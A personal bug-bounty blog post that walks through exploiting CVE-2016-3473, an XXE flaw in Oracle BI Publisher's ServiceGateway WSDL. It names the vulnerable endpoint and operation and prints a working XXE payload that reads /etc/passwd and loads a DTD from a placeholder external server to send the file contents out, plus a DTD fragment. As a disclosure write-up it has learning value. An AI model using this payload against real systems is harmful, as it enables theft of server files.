Having nearly zero organizational skills absolutely dictates I put things somewhere that I can’t lose them. This post is being published mostly for the sake of documenting CVE-2016-3473 for myself and if it helps anyone else save five minutes well that’s fantastic!
Alright. So another late night yielded a nice Bounty submission on a program that was over a year old when I was invited to participate. The scope was a single web application and during the course of manually browsing the full contents of the site the following login page was discovered:
Pay attention to the next step in this sequence as it shows an expert tip that can only help everyone out there. So, the next step (yes the expert tip) was in a web browser I opened https://www.google.com and in the search box I typed “oracle bi publisher exploits”. Next level recon here I know. The first hit on Google was Exploit-DB and better yet this was for the version I found. Despite the exploit published by Jakub Palaczynski being classified as “Waiting verification”, this gave quite the helpful framework to my exploit efforts as can be seen below.
Unfortunately, it required some (Not complaining, since it required barely any) work to get this done. The rest of this (except any tangents) will show what it took to bring this home.
Browsing to https://Vulnerable-URL/xmlpserver/services/ServiceGateway?wsdl showed the WSDL that was vulnerable to CVE-2016-3473.
Next, major props must go to Eric Gruber for the awesome “Wsdler” Burp extension. “Wsdler” absolutely makes it less painful when attacking WSDLs, so use it (unless you are into that). Parsing the WSDL with “Wsdler” created two requests that could be sent to Burp Repeater for further shenannigans. Both actions can be exploited, but we will only be exploiting the “replytoXMLWithContext” operation. OK, exploitation time.
-
Replace the placeholder inserted by “Wsdler” with our payload.
<![CDATA[<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % data3 SYSTEM "file:///etc/passwd"><!ENTITY % sp SYSTEM "http://<Our-External-Server>/ss5.dtd">%sp;%param3;%exfil;]>]]>
-
Create a DTD file with the contents of our DTD (novel concept I know) and make sure that it is hosted within the web root of an external web server (Preferably one you own and can control) and start a webserver on port 80 to serve said DTD file.
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///%data3;">'> -
Send the edited request. This will make a request to the external server hosting our aforementioned DTD file and should return the contents of “/etc/passwd” from Oracle BI.
-
And /etc/passwd:
Undoubtedly there is a better XXE payload/solution to exploit this, but in any event here is a fully functional, working exploit. If you know a better way to do it, please school me / make fun of me / troll me to tears on Twitter @hateshaped!
